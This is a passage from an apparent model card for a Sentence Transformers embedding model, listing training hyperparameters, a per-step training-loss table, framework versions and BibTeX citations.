- `fsdp`: []
- `fsdp_min_num_params`: 0
- `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
- `fsdp_transformer_layer_cls_to_wrap`: None
- `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
- `parallelism_config`: None
- `deepspeed`: None
- `label_smoothing_factor`: 0.0
- `optim`: adamw_torch_fused
- `optim_args`: None
- `adafactor`: False
- `group_by_length`: False
- `length_column_name`: length
- `ddp_find_unused_parameters`: None
- `ddp_bucket_cap_mb`: None
- `ddp_broadcast_buffers`: False
- `dataloader_pin_memory`: True
- `dataloader_persistent_workers`: False
- `skip_memory_metrics`: True
- `use_legacy_prediction_loop`: False
- `push_to_hub`: False
- `resume_from_checkpoint`: None
- `hub_model_id`: None
- `hub_strategy`: every_save
- `hub_private_repo`: None
- `hub_always_push`: False
- `hub_revision`: None
- `gradient_checkpointing`: False
- `gradient_checkpointing_kwargs`: None
- `include_inputs_for_metrics`: False
- `include_for_metrics`: []
- `eval_do_concat_batches`: True
- `fp16_backend`: auto
- `push_to_hub_model_id`: None
- `push_to_hub_organization`: None
- `mp_parameters`:
- `auto_find_batch_size`: False
- `full_determinism`: False
- `torchdynamo`: None
- `ray_scope`: last
- `ddp_timeout`: 1800
- `torch_compile`: False
- `torch_compile_backend`: None
- `torch_compile_mode`: None
- `include_tokens_per_second`: False
- `include_num_input_tokens_seen`: False
- `neftune_noise_alpha`: None
- `optim_target_modules`: None
- `batch_eval_metrics`: False
- `eval_on_start`: False
- `use_liger_kernel`: False
- `liger_kernel_config`: None
- `eval_use_gather_object`: False
- `average_tokens_across_devices`: False
- `prompts`: None
- `batch_sampler`: no_duplicates
- `multi_dataset_batch_sampler`: proportional
- `router_mapping`: {}
- `learning_rate_mapping`: {}
</details>
### Training Logs
| Epoch | Step | Training Loss |
|:------:|:----:|:-------------:|
| 0.0466 | 100 | 0.9559 |
| 0.0931 | 200 | 0.3877 |
| 0.1397 | 300 | 0.386 |
| 0.1862 | 400 | 0.3535 |
| 0.2328 | 500 | 0.3314 |
| 0.2793 | 600 | 0.3485 |
| 0.3259 | 700 | 0.3315 |
| 0.3724 | 800 | 0.3425 |
| 0.4190 | 900 | 0.3402 |
| 0.4655 | 1000 | 0.3406 |
| 0.5121 | 1100 | 0.3271 |
| 0.5587 | 1200 | 0.3356 |
| 0.6052 | 1300 | 0.3164 |
| 0.6518 | 1400 | 0.3122 |
| 0.6983 | 1500 | 0.3119 |
| 0.7449 | 1600 | 0.3124 |
| 0.7914 | 1700 | 0.3 |
| 0.8380 | 1800 | 0.2786 |
| 0.8845 | 1900 | 0.3148 |
| 0.9311 | 2000 | 0.283 |
| 0.9777 | 2100 | 0.297 |
### Framework Versions
- Python: 3.11.11
- Sentence Transformers: 5.1.1
- Transformers: 4.56.2
- PyTorch: 2.8.0.dev20250319+cu128
- Accelerate: 1.10.1
- Datasets: 4.1.1
- Tokenizers: 0.22.1
## Citation
### BibTeX
#### Sentence Transformers
```bibtex
@inproceedings{reimers-2019-sentence-bert,
title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
author = "Reimers, Nils and Gurevych, Iryna",
booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
month = "11",
year = "2019",
publisher = "Association for Computational Linguistics",
url = "https://arxiv.org/abs/1908.10084",
}
```
#### CachedMultipleNegativesRankingLoss
```bibtex
@misc{gao2021scaling,
title={Scaling Deep Contrastive Learning Batch Size under Memory Limited Setup},
author={Luyu Gao and Yunyi Zhang and Jiawei Han and Jamie Callan},
year={2021},
eprint={2101.06983},
archivePrefix={arXiv},
primaryClass={cs.LG}
}
```
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